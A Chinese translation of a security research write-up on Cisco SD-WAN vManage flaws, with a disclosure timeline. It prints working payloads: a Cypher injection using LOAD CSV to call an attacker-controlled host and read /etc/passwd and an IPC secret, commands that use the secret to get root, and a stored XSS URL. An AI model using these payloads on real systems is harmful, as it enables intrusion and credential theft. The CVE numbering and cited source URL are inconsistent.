渗透CISCO SD-WAN之攻击VMANAGE
iso60001 1731天前
在2019年底，一个客户要求Synacktiv在几天内对他们基于Cisco SD-WAN解决方案的SD-WAN项目进行安全评估。而在此过程中，我们在不同的组件中发现了一些有趣的漏洞。
在这第一篇文章，我们将重点关注vManage组件，它最近也被打了相关安全补丁，涉及漏洞如下：
CVE-2019-16012：vManage Cypher注入
CVE-2019-16010：vManage存储型XSS
SD-WAN是一种软件定义的广域网（WAN）管理方法，通过一些web接口使用可远程配置的设备。思科早先收购了Viptela解决方案，其主要由四个主要部分组成：
vManage——管理面板
vEdge——分支处的边缘路由器
vBond——Orchestrator系统
vSmart——控制器
通常来说，vManage是运维团队用于日常活动的管理接口。
CVE-2019-16012：vManage Cypher注射
通过结合对vManage Java应用的动态和静态分析，我们瞄准了一个端点，它未能正确处理用户的输入。通过将\'添加到HTTP参数，你会看到以下报错：
GET /dataservice/group/devices?groupId=test\' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache, no-store, must-revalidate
X-fr ame-Options: DENY
Date: Mon, 02 Sep 2019 07:27:11 GMT
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Type: application/json
Content-Length: 1927
Invalid input ''': expected whitespace, '.', node labels, '[', "=~", IN, STARTS, ENDS, CONTAINS, IS, '^', '*', '/', '%', '+', '-', '=', "<>", "!=", '<', '>', "<=", ">=", AND, XOR, OR or ')' (line 1, column 120 (offset: 119))
"MATCH (n:vmanagedbDEVICENODE) with n match (n)-[xa1:vmanagedbDEVICE]->(a1) with n, a1, xa1 match (n) WHERE ('test\\'' IN n.`groupId` and n.`device-model` <> 'vedge-ccm') RETURN n.`deviceId` as `deviceId` ,n.`system-ip` as `system-ip` ,n.`host-name` as `host-name` ,n.`reachability` as `reachability` ,n.`status` as `status` ,n.`personality` as `personality` ,n.`device-type` as `device-type` ,n.`timezone` as `timezone` ,n.`device-groups` as `device-groups` ,n.`lastupdated` as `lastupdated` ,n.`bfdSessionsUp` as `bfdSessionsUp` ,n.`domain-id` as `domain-id` ,n.`board-serial` as `board-serial` ,n.`certificate-validity` as `certificate-validity` ,n.`max-controllers` as `max-controllers` ,n.`uuid` as `uuid` ,n.`bfdSessions` as `bfdSessions` ,n.`controlConnections` as `controlConnections` ,n.`device-model` as `device-model` ,n.`version` as `version` ,n.`connectedVManages` as `connectedVManages` ,n.`site-id` as `site-id` ,n.`ompPeers` as `ompPeers` ,n.`latitude` as `latitude` ,n.`longitude` as `longitude` ,n.`isDeviceGeoData` as `isDeviceGeoData` ,n.`platform` as `platform` ,n.`uptime-date` as `uptime-date` ,n.`statusOrder` as `statusOrder` ,n.`device-os` as `device-os` ,a1.`validity` as `validity` ,n.`state` as `state` ,n.`state_description` as `state_description` ,n.`model_sku` as `model_sku` ,n.`local-system-ip` as `local-system-ip` ,n.`total_cpu_count` as `total_cpu_count` ,n.`linux_cpu_count` as `linux_cpu_count` ,n.`testbed_mode` as `testbed_mode` ,n.`layoutLevel` AS `layoutLevel`,n.`asc` AS `asc` order by `layoutLevel` ASC,`asc` ASC,`host-name` ASC "
这种响应你可以通过查看端点（classes/com/viptela/vmanage/server/group/DeviceGroupRestfulResource.java）的源代码来分析，它涉及listDevicesForAGroup函数，其中groupId是参数，但代码其实并没有对这个输入参数进行过处理：
public JsonArray listDevicesForAGroup(String groupId, Collection<DeviceType> allowedPersonality)
{
groupId = groupId.replace("'", "\\'");
VGraphDataStore dataStore = getDataba seManager().getGraphDataStore();Throwable localThrowable3 = null;
try {
[...]
queryBuilder.has(groupId, Operator.IN, "groupId");
queryBuilder.has("device-model", Operator.NOT_EQUAL,
DeviceModelName.CCM.getName());
这个端点只需最低权限就可利用，通过注入，我们可以检索出设备敏感数据，比如设备的配置和密码的哈希值。
LOAD CSV^WREQUEST^WFILE
现在我们拥有了一个注入，便开始尝试经典的针对数据库的攻击，例如和数据加载有关的LOAD DATA INFILE和LOAD_FILE()，我们查看了Neo4j的文档，发现Cypher查询语言支持LOAD CSV语句，可以用来向攻击者控制的服务器发出请求：
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"http%3a//sc89bh0uzi86883zeezrpqtodfj57u.controlled.tld\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
<html><body>9r0z5rg1gsunj37d5irwqczjigz</body></html>
但是加载我们服务器上的文件并不是很有趣，很快我们就发现，由于服务器上的Neo4j实例的配置错误（dbms.directories.import），我们能够读取文件系统上的文件：
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/passwd\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
root:x:0:0:root:/home/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[...]
GIVE ME A ROOT SHELL
vManage用户会映射到Linux中的用户，因此也可以连接到SSH服务。当然SSH服务有可能并不对外。
/etc/passwd配置文件中会显示这些用户的默认shell:
admin:x:1000:1000::/home/admin:/usr/sbin/viptela_cli
vmanage-admin:x:1001:1001::/home/vmanage-admin:/usr/sbin/viptela_cli
basic:x:1002:100::/home/basic:/usr/sbin/viptela_cli
viptela-reserved-cloudops:x:1003:100::/home/viptela-reserved-cloudops:/usr/sbin/viptela_cli
viptela-reserved-tac:x:1004:100::/home/viptela-reserved-tac:/usr/sbin/viptela_cli
viptela-reserved-dca:x:1005:1005::/home/viptela-reserved-dca:/usr/sbin/viptela_cli
viptela-reserved-cloud:x:1006:1006::/home/viptela-reserved-cloud:/usr/sbin/viptela_cli
使用同样的低权限帐户，就可以通过SSH连接到vManage实例，获得受限制的shell。而在/etc/passwd文件中指定的viptela_cli二进制文件会将自己替换为confd_cli二进制文件，后者会使用本地主机端口4565上的socket与confd守护进程通信，设置一种交互式TTY和受限制的shell（Viptela CLI）。这个受限制的shell可让我们运行vshell，以启动/bin/bash。
$ ssh admin@172.28.128.5
viptela 18.4.1
Welcome to Viptela CLI
admin connected from 172.28.128.1 using ssh on vmanage
vmanage# vshell
vmanage:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
vmanage:~$ pstree
runsvdir-+-nginx---nginx
[...]
|-runsv-+-logger
| `-sysmgrd-+-cfgmgr
| |-confd-+-cmdptywrapper---bash
| | `-cmdptywrapper---bash---pstree
[...]
| |-sshd---sshd---sshd---confd_cli
在查找了一些与cond和不同二进制文件相关的文档后（可以通过Cisco网站上的帐户访问）之后，我们发现要对IPC socket进行身份验证，它使用了一个位于/etc/confd/confd_ipc_secret文件中的secret：
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
还记得我们的Neo4j实例吗？它是在vmanage用户的权限下运行，我们可借此来检索文件：
GET
/dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
虽然confd_cli程序不支持命令行参数，但可以使用参数调用/usr/bin/confd_cli_user。因此，我们可以使用自己的参数集直接调用/usr/bin/confd_cli_user。但是，对于我们目前的权限，它是不可读的，所以我们必须从rootfs检索它并使用scp复制，最后并使用它来获得shell：
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
CVE-2019-16011: vManage Stored XSS
这种漏洞是非常经典的。作为一个经过身份验证的用户，当使用API检索日志时，其中出现的HTML元素并不会被编码。此外，服务器返回的Content-Type是text/html，从而导致在用户的浏览器中执行javascript。让我们通过以下URL创建一个stacktrace来感染日志：
https://vmanage-xxxxx.viptela.net/dataservice/util/logfile/appserver/lastnlines?lines=1%3Cscript%3Ealert(1)%3C/script%3E.
当这个URL被访问时，服务器将记录下恶意的HTML代码，然后，它会打印日志，结果如下：
HTTP/1.1 200 OK
Connection: close
Vary: Accept-Encoding
Cache-Control: no-cache, no-store, must-revalidate
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-fr ame-Options: DENY
Content-Type: text/html
Date: Fri, 30 Aug 2019 13:29:48 GMT
[...]
Caused by: java.lang.NumberFormatException: For input string: "1<script>alert(1)</script>"
at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65) [rt.jar:1.8.0_162]
at java.lang.Integer.parseInt(Integer.java:580) [rt.jar:1.8.0_162]
vManage technologies
如果观察看一下vManage中运行的进程，你就会发现这简直就是一个“宝库”：
JBoss
Kafka
Neo4j
ElasticSearch
OrientDB
Consul
ZooKeeper
。。。
其中隐藏的攻击面不言而喻，当然，并不是所有服务都会暴露出来。但不管如何，当你作为vmanage用户进入系统时，可研究的方面非常多。
时间轴
2019年9月23日：漏洞详情发送至psirt@cisco.com
2019年9月25日：思科回复
2019年9月30日：同意90天后公开漏洞
2019年10月22日：思科要求将披露时间推迟到2020年1月中下旬
2020年1月9日：思科要求延迟批露
2020年1月10日：同意再延迟60天
2020年3月18日：安全通报发布（CSCvr42496和CSCvs09263），SD-WAN软件19.2.2版本发布
参考
2.https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200318-vmanage-xss
3.https://neo4j.com/docs/cypher-manual/current/clauses/load-csv/
5.http://66.218.245.39/doc/html/rn03re18.html
本文由白帽汇整理并翻译，不代表白帽汇任何观点和立场
来源：https://securityaffairs.co/wordpress/100465/apt/apt41-citrix-cisco-zoho-flaws.html
最新评论